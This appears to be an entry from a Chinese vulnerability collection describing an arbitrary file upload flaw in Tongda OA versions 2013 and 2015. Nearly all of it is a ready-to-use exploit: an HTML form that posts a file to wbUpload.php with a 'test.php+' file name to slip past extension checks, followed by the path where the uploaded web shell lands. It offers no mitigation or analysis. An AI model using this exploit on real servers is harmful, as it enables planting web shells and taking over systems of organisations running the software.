通达oa 任意⽂件上传漏洞
通达oa 任意⽂件上传漏洞¶
漏洞影响¶
2013、2015版本
复现过程¶
EXP:
<form enctype="multipart/form-data" action="http://0-sec.org/general/vmeet/wbUpload.php?fileName=test.php+" method="post">
<input type="file" name="Filedata" size="50"><br>
<input type="submit" value="Upload">
</form>
上传jpg之后shell地址为
http://url/general/vmeet/wbUpload/test.php